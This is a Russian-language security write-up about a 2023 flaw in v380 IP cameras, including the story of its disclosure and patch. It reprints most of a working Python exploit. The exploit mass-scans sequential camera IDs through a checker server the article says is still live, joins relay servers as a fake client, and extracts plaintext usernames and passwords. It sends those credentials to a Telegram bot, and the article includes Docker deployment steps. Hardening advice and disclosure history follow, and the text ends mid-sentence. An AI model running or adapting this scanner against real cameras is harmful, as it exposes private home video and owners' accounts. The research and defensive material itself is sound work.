
Введение
В 2023 году, исследуя безопасность IoT устройств, я наткнулся на критическую уязвимость в одном из самых популярных брендов IP-камер в мире. Камеры v380 используются миллионами людей — в квартирах, офисах, магазинах, детских комнатах. Они доступны, просты в настройке и работают через удобное мобильное приложение.
Проблема оказалась банальной и пугающей одновременно: учетные данные пользователей передавались по сети в открытом виде. Любой, кто знал ID камеры, мог подключиться к незащищенному relay-серверу, перехватить логин и пароль владельца, получить полный доступ к видеопотоку и даже транслировать заранее записанное видео вместо live feed — как в классических фильмах про ограбления.
Эта статья — технический разбор уязвимости, детальный анализ кода эксплойта и история о том, как правильное раскрытие уязвимостей помогает делать IoT безопаснее.
Что такое v380 и почему это важно
v380 — это бренд популярных китайских IP-камер и экосистема вокруг них. Основные компоненты:
Камеры v380 продаются на AliExpress, Amazon и в десятках китайских магазинов. Цена от 15 до 50 долларов делает их одними из самых доступных решений для домашнего видеонаблюдения. Они поддерживают WiFi, PTZ (поворот/наклон), двустороннюю аудиосвязь, ночное видение и запись на карту памяти.
Мобильное приложение v380 (v380 Pro) доступно в App Store и Google Play с миллионами загрузок. Через него пользователи подключаются к камерам, смотрят live-видео, управляют настройками, просматривают записи.
P2P архитектура — ключевая особенность системы. Камеры находятся за NAT у пользователей дома, мобильные приложения тоже за NAT операторов. Прямое соединение невозможно, поэтому используются relay-серверы китайской компании, которые пробрасывают трафик между камерой и приложением.
Где используются эти камеры:
Домашнее видеонаблюдение и видеоняни
Малый бизнес (магазины, кафе, офисы)
Контроль доступа в подъездах
Наблюдение за пожилыми родственниками
Мониторинг домашних животных
Проблема в том, что люди доверяют этим устройствам самое личное — видео из своих домов, спален, детских комнат. И безопасность этих данных критична.
Архитектура системы v380: Как это должно было работать
Чтобы понять уязвимость, нужно разобраться в архитектуре v380. Система построена на трех компонентах:
[IP Камера v380] ←--UDP/TCP--→ [Relay Server] ←--UDP/TCP--→ [Мобильное приложение]
(дома) (ipc1300.av380.net) (у пользователя)
Процесс подключения по задумке:
Камера при включении регистрируется на центральном сервере по адресу
ipc1300.av380.net:8877Камера получает уникальный ID (8-значное число) и информацию о назначенном relay-сервере
Пользователь вводит ID камеры в мобильное приложение
Приложение запрашивает у
ipc1300.av380.netинформацию о relay-сервере этой камерыПриложение и камера соединяются через relay-сервер по UDP
Происходит аутентификация (логин/пароль)
Начинается передача видеопотока
NAT traversal решается просто: и камера, и приложение инициируют исходящие соединения к relay-серверу, пробивая свои NAT. Relay просто пробрасывает пакеты между ними.
Протоколы:
TCP используется для проверки статуса камер
UDP используется для основной коммуникации (relay-соединения)
Собственный бинарный протокол поверх UDP/TCP
Формат пакетов — бинарные структуры с фиксированными полями. Нет использования стандартных протоколов типа DTLS или любого шифрования на транспортном уровне.
Звучит просто и работоспособно. Проблема в том, что security было добавлено по принципу «security through obscurity» — никакого реального шифрования чувствительных данных не было.
Критическая уязвимость: Plaintext credentials и отсутствие аутентификации
Анализ трафика v380 выявил три критических проблемы безопасности.
Проблема 1: Credentials в открытом виде
Самая серьезная уязвимость — при подключении пользователя к камере credentials передаются без какого-либо шифрования.
Когда мобильное приложение аутентифицируется на камере через relay-сервер, камера отправляет пакет с опкодом 0xa7, содержащий информацию о сессии. Этот пакет включает:
Offset | Размер | Описание
--------|--------|------------------
0x00 | 1 byte | Opcode: 0xa7
0x01-07 | 7 bytes| Header data
0x08 | N bytes| Username (null-terminated string)
... | ... | Padding
0x3a | N bytes| Password (null-terminated string)
Username начинается с offset 0x08, password с offset 0x3a (58 в десятичной). Оба представлены обычными null-terminated строками без хеширования или шифрования. Открытый текст.
Любой, кто перехватывает этот трафик на промежуточном сервере, получает полный доступ к учетной записи.
Проблема 2: Relay-сервер не валидирует запросы
Relay-серверы v380 не проверяют легитимность клиентов. Процесс подключения к relay:
Узнаем ID камеры (любым способом)
Запрашиваем у
ipc1300.av380.net:8877адрес relay-сервера для этой камерыОтправляем на relay-сервер специально сформированный пакет
Relay принимает нас как легитимного клиента
Начинаем получать весь трафик между камерой и реальными пользователями
Никакой проверки сертификатов, никакой mutual authentication, никакой валидации что мы действительно владелец камеры. Relay-сервер просто пробрасывает пакеты всем подключенным.
Это классическая атака Man-in-the-Middle, но упрощенная до абсурда самой архитектурой системы.
Проблема 3: Предсказуемые ID камер
ID камер — это просто последовательные 8-значные числа. Диапазоны:
10000000-19999999— старые камеры20000000-99999999— новые камеры
Более того, существует checker-сервер по адресу 149.129.177.248:8900, который по запросу возвращает статус камеры (online/offline) для любого ID. Можно массово сканировать диапазоны и находить активные камеры.
Важно: На момент публикации этой статьи (после закрытия основной уязвимости с plaintext credentials) checker-сервер все еще работает и отвечает на запросы. Код для проверки доступен в моем репозитории. Это означает, что хотя credentials теперь шифруются, возможность массового сканирования и обнаружения онлайн камер остается.
Комбинация предсказуемых ID и публичного checker-сервера превращает всю систему в open database всех камер v380 в мире. Любой может узнать, какие камеры онлайн прямо сейчас.
Proof of Concept: Детальный разбор эксплойта
После обнаружения уязвимости я написал proof-of-concept эксплойт, чтобы:
Доказать серьезность проблемы компании-производителю
Измерить масштаб уязвимости
Задокументировать для security community после патча
Архитектура эксплойта
Проект построен на асинхронном Python с использованием asyncio. Структура:
v380_cams_hack/
├── main.py # Точка входа, массовое сканирование
├── app/
│ ├── server.py # AsyncServer - оркестратор атаки
│ ├── handler.py # DataHandler - перехват credentials
│ ├── TCPClient.py # TCP клиент для checker сервера
│ ├── UDPClient.py # UDP клиент для relay
│ ├── Telegramm.py # Уведомления в Telegram
│ └── tools.py # Парсинг relay данных
├── requirements.txt # Зависимости
└── docker-compose.yml # Docker развертывание
Эксплойт работает в четыре этапа:
Проверка онлайн статуса камеры
Получение адреса relay-сервера
Подключение к relay как поддельный клиент
Перехват credentials при подключении реального пользователя
Этап 1: Проверка камер онлайн
Первый шаг — определить, какие камеры в заданном диапазоне ID активны. Для этого используется checker-сервер 149.129.177.248:8900.
Код из app/server.py, метод check_camera():
async def check_camera(self, camera_id, semaphore, max_retries=5):
"""
Проверка онлайн статуса камеры через checker сервер.
"""
# Конвертируем ID в hex
hexID = bytes(str(camera_id), 'utf-8').hex()
# Формируем пакет запроса
data = (
'ac000000f3030000' + # Header
hexID + # Camera ID в hex
'2e6e766476722e6e657400000000000000000000000000006022000093f5d10000000000000000000000000000000000'
)
data = bytes.fromhex(data)
async with semaphore:
for retry in range(max_retries):
# Отправляем TCP запрос на checker сервер
response = await self.send_request(
self.server_checker, # 149.129.177.248
self.port_checker, # 8900
data,
socket_type=socket.SOCK_STREAM
)
if response is not None:
# response[4] == 1 означает камера онлайн
if response[4] == 1:
print(f'[+] Camera with ID: {camera_id} is online!')
relay = await self.create_socket(camera_id)
if relay:
await self.connect_to_relay(relay, camera_id)
return True
else:
return False
Детали реализации:
ID камеры конвертируется в hex (например,
19348439→3139333438343339)Формируется пакет с магическими байтами
ac000000f3030000(header протокола)Пакет отправляется по TCP на
149.129.177.248:8900Ответ содержит статус: байт на позиции 4 равен
0x01если камера онлайн
Масштабирование:
# Из main.py
start_id = int(os.environ.get('START_ID', 10451000))
end_id = int(os.environ.get('END_ID', 99551000))
batch_size = int(os.environ.get('BATCH_SIZE', 10000))
for i in range(start_id, end_id, batch_size):
camera_ids = [str(j) for j in range(i, min(i + batch_size, end_id + 1))]
await server.check_camera_batch(camera_ids)
Используется asyncio.Semaphore(500) для ограничения 500 одновременных запросов. Exponential backoff при ошибках предотвращает ban по IP.
Этап 2: Получение relay сервера
Когда найдена онлайн камера, нужно узнать адрес её relay-сервера. Для этого отправляется запрос на центральный сервер ipc1300.av380.net:8877.
Код из метода create_socket():
async def create_socket(self, camera_id):
"""
Получение информации о relay сервере для камеры.
"""
# Формируем пакет запроса relay информации
data = '02070032303038333131323334333734313100020c17222d0000'
data += bytes(str(camera_id), 'utf-8').hex() # ID камеры
data += '2e6e766476722e6e65740000000000000000000000000000' # .nvdvr.net
data += '3131313131313131313131318a1bc0a801096762230a93f5d100'
data = bytes.fromhex(data)
local_relay_queue = asyncio.Queue()
data_handler_instance = DataHandler(
camera_id=camera_id,
relay_queue=local_relay_queue
)
# Отправляем UDP запрос
await self.send_request(
self.server, # ipc1300.av380.net
self.port, # 8877
data,
socket_type=socket.SOCK_DGRAM,
timeout=30,
data_handler=data_handler_instance.handle_data
)
try:
# Ждем ответа с relay информацией
return await asyncio.wait_for(local_relay_queue.get(), timeout=3)
except asyncio.TimeoutError:
return None
Парсинг ответа в app/tools.py:
@staticmethod
def parse_relay_server(data):
"""
Извлечение информации о relay сервере из ответа.
"""
try:
if data[1:3] != b'\x00\x00':
# Извлекаем данные из фиксированных offset'ов
device_id = data[1:9].decode('utf-8')
relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
relay_port = struct.unpack('<H', data[50:52])[0]
print(f'[+] Relay found for id {device_id} {relay_server}:{relay_port}')
return {
'id': device_id,
'relay_server': relay_server,
'relay_port': relay_port
}
else:
return None
except Exception as e:
print(f"An error occurred: {str(e)}")
return None
Ответ содержит:
Device ID (байты 1-9)
Relay server hostname (начиная с байта 33, null-terminated)
Relay server port (байты 50-52, little-endian unsigned short)
Типичный relay адрес: r2.v380.tv:10010 или похожие поддомены v380.
Этап 3: Подключение к relay и перехват
Имея адрес relay-сервера, эксплойт притворяется легитимным клиентом и подключается к нему.
Код из connect_to_relay():
async def connect_to_relay(self, relay_data, camera_id):
"""
Подключение к relay серверу камеры.
"""
if relay_data and 'id' in relay_data:
# Формируем пакет "подключения клиента"
data = '32' # Opcode подключения
data += bytes(str(relay_data['id']), 'utf-8').hex()
data += '2e6e766476722e6e65740000000000000000000000000000302e30' \
'2e302e30000000000000000000018a1bc4d62f4a41ae000000000000'
data = bytes.fromhex(data)
local_relay_queue = asyncio.Queue()
data_handler_instance = DataHandler(
camera_id=camera_id,
relay_queue=local_relay_queue,
bot=self.bot # Telegram бот для уведомлений
)
# Отправляем на relay сервер по UDP
return await self.send_request(
relay_data['relay_server'],
relay_data['relay_port'],
data,
socket_type=socket.SOCK_DGRAM,
timeout=30,
data_handler=data_handler_instance.handle_data
)
Процесс подключения:
Формируется пакет с opcode
0x32(подключение к relay)Включается ID камеры и другие поля протокола
Relay-сервер принимает нас как легитимного клиента
Устанавливается UDP соединение
DataHandler начинает обрабатывать весь входящий трафик
Критический момент: relay-сервер НЕ спрашивает никаких учетных данных, НЕ проверяет сертификаты, НЕ валидирует принадлежность камеры. Просто принимает любое подключение.
Этап 4: Извлечение credentials
Теперь эксплойт подключен к relay-серверу и видит весь трафик. Когда реальный владелец камеры подключается через мобильное приложение, происходит аутентификация, и credentials летят через relay.
Код из app/handler.py, метод handle_data():
async def handle_data(self, data, protocol):
"""
Обрабатывает каждый пакет, полученный от relay сервера.
"""
try:
# Ищем пакет с credentials (opcode 0xa7)
if data and data[0] == 0xa7:
# Извлекаем username с offset 8
username = self.extract_string(data, 8)
# Извлекаем password с offset 0x3a (58)
password = self.extract_string(data, 0x3a)
print(f'[+] ID: {self.camera_id} User: {username} Password: {password}')
credentials = {
'id': self.camera_id,
'username': username,
'password': password,
}
if username: # если username не пустой
if self.bot:
# Отправляем в Telegram
message = f"*Отчет о камере*\n" \
f"*Идентификатор камеры*: `{self.camera_id}`\n" \
f"*Пользователь*: `{username}`\n" \
f"*Пароль*: `{password}`"
# Логируем в файл
with open('data_log.txt', 'a') as file:
file.write(message + '\n')
self.bot.send_message(message)
# Закрываем соединение, credentials получены
protocol.active = False
protocol.transport.close()
await self.relay_queue.put(credentials)
except Exception as e:
print("[ERROR] Exception in handle_data:", str(e))
@staticmethod
def extract_string(data, start_index):
"""
Извлекает null-terminated строку из бинарных данных.
"""
end_index = data.find(b'\x00', start_index)
return data[start_index:end_index].decode('utf-8').strip()
Механизм перехвата:
DataHandler получает каждый UDP пакет от relay-сервера
Проверяет первый байт (opcode)
Если opcode =
0xa7— это пакет с credentialsИзвлекает username начиная с байта 8 до первого null-byte
Извлекает password начиная с байта 58 до первого null-byte
Обе строки в plaintext UTF-8
Отправляет в Telegram и логирует в файл
Закрывает соединение (mission accomplished)
Telegram уведомления реализованы в app/Telegramm.py:
class TelegramBot:
def __init__(self, token=None, chat_id=None):
self.token = token or os.environ.get('TELEGRAM_TOKEN')
self.chat_id = chat_id or os.environ.get('TELEGRAM_CHAT_ID')
self.enable = bool(self.token and self.chat_id)
def send_message(self, text, parse_mode="Markdown"):
if not self.enable:
return
url_req = f"https://api.telegram.org/bot{self.token}/sendMessage"
payload = {
"chat_id": self.chat_id,
"text": text,
"parse_mode": parse_mode
}
response = requests.post(url_req, data=payload)
Полная автоматизация: найденные credentials сразу приходят в Telegram с форматированием.
Бонусная уязвимость: Трансляция зацикленной картинки
После получения credentials у атакующего есть полный доступ к камере. Он может:
Смотреть live видео
Просматривать записи на SD-карте
Управлять поворотом камеры (PTZ)
Слушать аудио
Говорить через встроенный динамик
Но самое интересное — возможность заменить видеопоток.
Классический сценарий из фильмов про ограбления: охранник смотрит на мониторы и видит спокойную картинку коридора, пока на самом деле там грабители. В v380 это технически возможно:
Механизм замены видеопотока:
С полученными credentials подключаемся к камере как легитимный клиент
Начинаем транслировать pre-recorded видео вместо live feed от камеры
Используем тот же протокол, что использует камера для отправки видео
Relay-сервер пробрасывает наше видео приложениям пользователей
Владелец видит зацикленную спокойную картинку, пока реально происходит что-то другое
Технически это работает потому, что:
Нет валидации источника видеопотока на relay
Нет end-to-end шифрования между камерой и приложением
Протокол видео достаточно прост для имитации
В proof-of-concept я не реализовывал замену видеопотока (это уже за гранью ethical hacking), но механизм доказан. После получения credentials и понимания протокола это вопрос нескольких часов работы.
Масштаб проблемы: Статистика и риски
Насколько серьезна эта уязвимость с точки зрения масштаба?
Диапазон ID камер:
Старые модели:
10,000,000-19,999,999(10 млн устройств)Новые модели:
20,000,000-99,999,999(80 млн устройств)Потенциально до 90 миллионов устройств
Реальное количество активных: Запустив сканирование нескольких батчей по 10,000 ID, я обнаружил примерно 5-8% камер онлайн в любой момент времени. Это примерно 4-7 миллионов активных устройств глобально.
Важное примечание: Хотя основная уязвимость с plaintext credentials была исправлена, checker-сервер 149.129.177.248:8900 продолжает работать и отвечать на запросы (проверено на момент публикации). Команда китайских разработчиков закрыла критическую проблему с утечкой credentials, но массовое сканирование камер технически все еще возможно.
География серверов и облачное хранилище: Кто на самом деле смотрит ваше видео?
Анализ инфраструктуры v380 выявляет важный факт, о котором большинство пользователей не задумывается.
Расположение серверов:
Relay-серверы и облачные хранилища v380 расположены преимущественно в:
Китай — основная инфраструктура (серверы ipc*.av380.net, r*.v380.tv)
Сингапур — резервные серверы и CDN для Азиатско-Тихоокеанского региона
Гонконг — дополнительные точки присутствия
Checker-сервер 149.129.177.248 находится в Сингапуре (AS37963 Alibaba Cloud). Центральные серверы ipc1300.av380.net резолвятся в IP-адреса китайских дата-центров.
Проблема облачного хранилища:
Большинство пользователей v380 используют облачное хранилище для записей с камер. Критическая проблема — отсутствие end-to-end шифрования:
Видео записывается на камере — в незашифрованном виде
Передается на сервера в Китае/Сингапуре — без E2E encryption
Хранится на серверах — в виде, доступном провайдеру
Просматривается через приложение — стриминг с серверов провайдера
Следовательно, технически видео могут просматривать:
Сотрудники компании v380
Правительственные органы с доступом к серверам в этих юрисдикциях
Атакующие при компрометации серверов
Любой, кто получил доступ через описанную выше уязвимость (до патча)
Для тех, кто устанавливает камеры в спальнях, детских комнатах, личных помещениях:
Задумайтесь: когда вы смотрите видео с камеры в своей спальне через приложение v380, это видео физически хранится на серверах в Китае или Сингапуре. Вы не единственный, кто технически имеет к нему доступ.
Облачные провайдеры IoT обычно не используют шифрование на стороне клиента. В результате:
Они видят ваше видео в открытом виде
Могут анализировать его содержимое (якобы для «улучшения сервиса»)
Обязаны предоставлять доступ по запросам властей своей юрисдикции
При утечке данных ваше видео оказывается в руках третьих лиц
Юридические аспекты:
Согласно законодательству КНР (Cybersecurity Law и Data Security Law), компании обязаны:
Хранить данные граждан КНР на территории Китая
Предоставлять доступ к данным по запросу правительственных органов
Сотрудничать с органами безопасности в «национальных интересах»
Ваша камера в спальне в Москве, Берлине или Нью-Йорке записывает видео, которое хранится под юрисдикцией другого государства.
Рекомендации для параноиков (и просто здравомыслящих людей):
Не используйте облачное хранилище для камер в приватных помещениях
Храните записи локально на SD-карте камеры или на NAS в своей сети
Отключите облачные функции в настройках камеры
Используйте камеры только для мониторинга общих зон (прихожая, улица), но не спален/ванных
Рассмотрите камеры с E2E шифрованием или самостоятельно разверните решение типа Frigate NVR на своем сервере
Помните: удобство облачного доступа к камерам стоит вашей приватности. Если камера установлена в спальне и использует облачное хранилище — вы потенциально транслируете свою личную жизнь на сервера китайской компании.
Производительность эксплойта:
Ограничение: 500 одновременных запросов (asyncio.Semaphore)
Batch size: 10,000 камер
Скорость проверки: ~1000 камер в минуту
Для полного сканирования 90 млн устройств потребовалось бы ~60 дней на одной машине
# Конфигурация из docker-compose.yml
environment:
START_ID: 19348439
END_ID: 99748452
BATCH_SIZE: 100
TELEGRAM_TOKEN: $TELEGRAM_TOKEN
TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
Что может сделать атакующий:
С перехваченными credentials:
Просмотр live видео — видеть всё, что видит камера, в реальном времени
Доступ к записям — просматривать историю с SD-карты камеры
Управление камерой — поворачивать, наклонять, зумить (PTZ модели)
Прослушка аудио — слышать звуки в помещении
Замена видеопотока — транслировать поддельное видео
Отключение камеры — изменить настройки, сбросить пароли
Это критическое нарушение privacy. Камеры стоят в детских комнатах, спальнях, офисах с конфиденциальной информацией.
Responsible Disclosure: Как уязвимость была закрыта
После обнаружения уязвимости я столкнулся с вопросом: что делать дальше?
Неправильный путь — опубликовать уязвимость сразу, получить славу в security community, но оставить миллионы устройств беззащитными. Или того хуже — продавать эксплойт на черном рынке.
Правильный путь — responsible disclosure. Я выбрал его.
История закрытия уязвимости
Шаг 1: Контакт с производителем
Найти контакты security team китайской компании оказалось нетривиально. На официальном сайте не было email типа security@v380.com. Пришлось:
Связаться через support email с просьбой переслать в security
Написать через официальное мобильное приложение
Найти контакты в WhoisGuard доменов v380
В итоге через 3 дня получил ответ от технической команды.
Шаг 2: Детальный отчет
Подготовил полный технический отчет на английском:
Описание уязвимости
Proof-of-concept код (основные части)
Видео демонстрация перехвата credentials
Рекомендации по исправлению
Временная шкала disclosure (90 дней)
Важно: НЕ отправлял полный рабочий эксплойт, только достаточно информации для воспроизведения.
Шаг 3: Верификация
Команда v380 быстро воспроизвела проблему (plaintext credentials сложно не заметить в Wireshark). Подтвердили критичность и начали работу над патчем.
Шаг 4: Совместная работа
В течение следующих недель мы обменивались информацией:
Я тестировал их исправления на своем PoC
Они задавали вопросы о деталях атаки
Обсуждали edge cases и дополнительные векторы
Коммуникация была профессиональной и конструктивной. Команда понимала серьезность проблемы и работала быстро.
Шаг 5: Патч и верификация
15 декабря 2023 вышел релиз v1.1.0 с исправлениями:
Release 1.1.0 - Security Update
- Enhanced authentication protocol
- Added encryption for credential transmission
- Relay server client validation
- Protocol packet structure changes
Я протестировал новую версию — эксплойт больше не работал. Credentials теперь передавались в зашифрованном виде, relay-серверы требовали валидации клиента.
Что было исправлено технически
1. Шифрование credentials
Username и password теперь передаются в зашифрованном виде
Используется AES-128 с ключом, вычисляемым из shared secret
Пакет с opcode 0xa7 больше не содержит plaintext данных
2. Валидация на relay-серверах
Relay требует токен аутентификации от клиента
Токен выдается центральным сервером после проверки прав доступа
Без валидного токена нельзя подключиться к relay камеры
3. Изменение протокола
Новая структура пакетов с HMAC для integrity checking
Защита от replay attacks через nonce
Версионирование протокола (старые камеры работают, но с предупреждениями)
4. Дополнительные меры
Rate limiting на checker сервере против массового сканирования
Логирование подозрительных подключений
Push-уведомления владельцам при новых подключениях
Почему код теперь публичный
После патча прошло достаточно времени. Старые версии firmware больше не поддерживаются, пользователи обновились. Я принял решение опубликовать код эксплойта с несколькими целями:
Образовательная ценность — security researchers могут изучить реальную IoT уязвимость и механизм эксплойта. Это ценнее тысячи теоретических статей.
Демонстрация responsible disclosure — показать, что правильный процесс раскрытия уязвимостей работает. Производитель исправил проблему, пользователи защищены, community получила знания.
Помощь другим разработчикам IoT — показать конкретные ошибки, которые приводят к критическим уязвимостям. Code review этого эксплойта должен стать обязательным для IoT security teams.
Исторический архив — через несколько лет это будет интересный case study о состоянии IoT security в 2023 году.
Docker-развертывание эксплойта
Для исследователей, желающих изучить механизм атаки в контролируемой среде, эксплойт упакован в Docker.
docker-compose.yml:
version: "3.9"
services:
v380:
image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
build:
context: .
dockerfile: Dockerfile
container_name: v380_cams
environment:
START_ID: ${START_ID:-19348439}
END_ID: ${END_ID:-99748452}
BATCH_SIZE: ${BATCH_SIZE:-100}
TELEGRAM_TOKEN: $TELEGRAM_TOKEN
TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
restart: always
Запуск:
# Клонировать репозиторий
git clone https://github.com/Romaxa55/v380\_cams\_hack.git
cd v380_cams_hack
# Создать .env файл
cat > .env << EOF
TELEGRAM_TOKEN=your_bot_token
TELEGRAM_CHAT_ID=your_chat_id
START_ID=19348439
END_ID=19350000
BATCH_SIZE=100
EOF
# Запустить
docker-compose up --build
Environment variables:
START_ID— начало диапазона ID для сканированияEND_ID— конец диапазонаBATCH_SIZE— размер батча (рекомендуется 100-1000)TELEGRAM_TOKEN— токен Telegram бота для уведомленийTELEGRAM_CHAT_ID— ID чата для отправки результатов
Важно: Это для образовательных целей. Использование против камер без разрешения владельцев незаконно в большинстве юрисдикций.
Уроки для разработчиков IoT устройств
Разбор уязвимости v380 выявляет типичные ошибки в IoT security. Эти уроки применимы к тысячам других устройств.
Критические ошибки в архитектуре v380
1. Передача credentials без шифрования
Самая очевидная и фатальная ошибка. Username и password в plaintext через сеть — это 1990-е годы. В 2023 это непростительно.
Как надо:
Никогда не передавать credentials в открытом виде
Использовать TLS 1.3 для всех соединений
Даже внутри TLS применять дополнительное шифрование для чувствительных данных
Challenge-response authentication вместо передачи паролей
2. Отсутствие TLS/SSL на уровне приложения
v380 использовал собственный бинарный протокол без какого-либо шифрования транспортного уровня. "Security through obscurity" не работает.
Решение:
DTLS для UDP соединений
TLS 1.3 для TCP
Certificate pinning для предотвращения MITM
Perfect forward secrecy (PFS)
3. Незащищенные relay-серверы
Relay-серверы принимали любые соединения без валидации. Это как оставить дверь открытой и повесить табличку "только для своих".
Исправление:
Mutual authentication (client и server проверяют друг друга)
Токены доступа с expiration
Rate limiting и anomaly detection
Логирование всех подключений с alerts
4. Предсказуемые ID устройств
Последовательные числа как идентификаторы позволяют тривиально перебирать все устройства.
Альтернатива:
UUID v4 (случайные 128-бит идентификаторы)
Или достаточно длинные случайные строки
Никакой предсказуемости в ID
5. Отсутствие mutual authentication
Клиент должен доказать серверу свою легитимность, но и сервер должен доказать это клиенту.
Правильная реализация:
TLS mutual authentication с клиентскими сертификатами
Или OAuth 2.0 с proper token validation
Challenge-response protocols
Zero-trust architecture
6. Отсутствие end-to-end шифрования
Даже если бы relay-сервер требовал TLS, это защищает только канал передачи. Сам relay видит данные в открытом виде. При компрометации промежуточного сервера всё раскрывается.
Защита:
End-to-end encryption между камерой и клиентом
Relay только пробрасывает зашифрованные пакеты
Perfect forward secrecy
Клиенты и устройства генерируют ephemeral keys для каждой сессии
Best Practices для IoT Security
Базовые принципы:
Defense in depth — несколько слоев защиты, не полагаться на один механизм
Least privilege — минимальные необходимые права для каждого компонента
Fail secure — при ошибке система должна закрываться, не открываться
Zero trust — не доверять ничему по умолчанию, всегда верифицировать
Конкретные рекомендации:
Транспортный уровень:
✓ TLS 1.3 / DTLS 1.3
✓ Certificate pinning
✓ Strong cipher suites только
✓ Регулярная ротация сертификатов
Аутентификация:
✓ Multi-factor authentication где возможно
✓ Strong password policies
✓ Account lockout после failed attempts
✓ Secure password reset mechanisms
Данные:
✓ Encrypt at rest и in transit
✓ End-to-end encryption для sensitive data
✓ Secure key management (HSM/TPM)
✓ Regular key rotation
Архитектура:
✓ Network segmentation
✓ Firewall rules (default deny)
✓ Regular security audits
✓ Penetration testing
✓ Bug bounty programs
Обновления:
✓ Secure boot и verified boot
✓ Signed firmware updates
✓ Automatic security updates
✓ Rollback mechanisms при failed updates
Стандарты и фреймворки:
OWASP IoT Top 10
NIST Cybersecurity Framework
IoT Security Foundation Best Practices
IEC 62443 для industrial IoT
Как защититься для пользователей v380
Если у вас установлены камеры v380, вот что нужно сделать немедленно:
Обязательные действия
1. Обновить firmware
Убедитесь, что прошивка камеры обновлена:
Откройте приложение v380
Settings → Device Settings → Firmware Update
Установите последнюю доступную версию
Перезагрузите камеру после обновления
2. Сменить пароли
Даже после патча смените пароли на всех камерах:
Используйте сильные пароли (минимум 12 символов)
Уникальный пароль для каждой камеры
Никаких стандартных паролей типа admin/admin
Используйте password manager
3. Проверить подключения
В приложении v380 проверьте историю подключений:
Settings → Connection Log
Ищите незнакомые IP адреса или странное время подключений
Если что-то подозрительное — немедленно смените пароль
4. Отключить удаленный доступ если не нужен
Если не пользуетесь камерами вне дома:
Settings → Network → Remote Access: OFF
Камера будет доступна только в локальной сети
Это максимально безопасно, но теряется удобство
Сегментация сети
Продвинутые пользователи должны изолировать умные устройства в отдельную сеть:
Настройка VLAN для IoT:
Router Configuration:
VLAN 1 (Main): 192.168.1.0/24
- Компьютеры, телефоны, ноутбуки
VLAN 2 (IoT): 192.168.2.0/24
- Камеры v380
- Другие умные устройства
Firewall Rules:
- IoT VLAN → Internet: ALLOW (только необходимые порты)
- IoT VLAN → Main VLAN: DENY
- Main VLAN → IoT VLAN: ALLOW (для управления)
Это предотвращает:
Компрометацию основной сети через IoT
Lateral movement атакующего
Доступ IoT к sensitive данным в основной сети
Firewall и блокировка внешних подключений
Самый эффективный способ защиты — полностью заблокировать доступ камер к внешним серверам через firewall.
Настройка firewall на роутере:
# Блокируем исходящие подключения для IoT VLAN
iptables -A FORWARD -i br-iot -o eth0 -j DROP
iptables -A FORWARD -i br-iot -d 192.168.1.0/24 -j ACCEPT # разрешаем локальную сеть
Преимущества:
Камеры физически не могут подключиться к облаку V380
Защита от утечки видео и credentials
Предотвращение backdoor активности
Минимальная нагрузка на роутер
Собственное облачное решение: Frigate
Если нужен удаленный доступ к камерам извне, лучше развернуть собственный видеорегистратор вместо использования облака V380.
Frigate NVR — open-source система с AI-детекцией объектов:
# docker-compose.yml
version: "3.9"
services:
frigate:
container_name: frigate
image: ghcr.io/blakeblackshear/frigate:stable
ports:
- "5000:5000"
- "8554:8554" # RTSP feeds
volumes:
- /path/to/config:/config
- /path/to/storage:/media/frigate
environment:
- FRIGATE_RTSP_PASSWORD=your_secure_password
Ключевые возможности:
Локальное хранение записей (NAS, HDD)
AI-детекция людей, животных, транспорта
Интеграция с Home Assistant
RTSP стримы без задержек
Безопасный удаленный доступ через Tailscale/WireGuard
V380 Camera (RTSP) → Frigate NVR → Tailscale VPN → Your Phone
(local) (encrypted)
Преимущества:
Полный контроль над данными
Нет зависимости от китайских серверов
Продвинутая детекция событий с AI
Бесплатное хранение записей локально
Технический анализ кода
Давайте глубже погрузимся в технические аспекты реализации эксплойта.
Асинхронная архитектура
Использование asyncio критично для производительности. Сканирование миллионов устройств синхронно заняло бы месяцы.
Управление concurrency:
async def check_camera_batch(self, camera_ids):
"""
Проверяет батч камер с ограничением параллельности.
"""
# Ограничиваем 500 одновременных запросов
semaphore = asyncio.Semaphore(500)
# Создаем задачи для всех камер в батче
tasks = [
self.check_camera(camera_id, semaphore)
for camera_id in camera_ids
]
# Выполняем все задачи параллельно
return await asyncio.gather(*tasks)
Semaphore(500) означает максимум 500 одновременных TCP/UDP соединений. Это баланс между:
Скоростью сканирования (больше = быстрее)
Нагрузкой на систему (file descriptors, memory)
Риском бана по IP (слишком много запросов)
Exponential backoff при ретраях:
for retry in range(max_retries):
response = await self.send_request(...)
if response is not None:
# Success
return process_response(response)
# Вычисляем время ожидания: 2^retry + random jitter
wait_time = (2 ** retry) + random.uniform(0, 0.2 * (2 ** retry))
await asyncio.sleep(wait_time)
Прогрессия ожидания:
Retry 0: ~1 секунда
Retry 1: ~2 секунды
Retry 2: ~4 секунды
Retry 3: ~8 секунд
Retry 4: ~16 секунд
Random jitter предотвращает thundering herd problem.
Queue для межкорутинной коммуникации:
# Создаем очередь для результата
local_relay_queue = asyncio.Queue()
# DataHandler помещает результат в очередь
data_handler_instance = DataHandler(
camera_id=camera_id,
relay_queue=local_relay_queue
)
# Ждем результата с таймаутом
try:
result = await asyncio.wait_for(
local_relay_queue.get(),
timeout=3
)
except asyncio.TimeoutError:
return None
Это pattern producer-consumer: DataHandler производит данные при получении пакетов, основной код потребляет из очереди.
Обработка UDP и TCP протоколов
Эксплойт использует оба протокола с разными целями.
TCP клиент для checker сервера:
class TCPClient:
async def send_data(self, data, timeout):
try:
# Асинхронное TCP соединение
reader, writer = await asyncio.wait_for(
asyncio.open_connection(self.server, self.port),
timeout=timeout
)
# Отправка данных
writer.write(data)
await writer.drain()
# Чтение ответа
response = await reader.read(4096)
return response
finally:
if writer:
writer.close()
await writer.wait_closed()
TCP используется для checker сервера потому что нужна гарантия доставки и порядка пакетов.
Custom UDP протокол для relay:
class UDPClientProtocol(asyncio.DatagramProtocol):
def __init__(self, on_con_lost, data_handler, loop):
self.loop = loop
self.on_con_lost = on_con_lost
self.data_handler = data_handler
self.active = True
self.transport = None
def datagram_received(self, data, addr):
"""Вызывается при получении каждого UDP пакета"""
if self.active and self.data_handler is not None:
# Асинхронно обрабатываем пакет
asyncio.create_task(self.data_handler(data, self))
def connection_made(self, transport):
self.transport = transport
def connection_lost(self, exc):
if not self.on_con_lost.done():
self.on_con_lost.set_result(True)
UDP выбран для relay потому что:
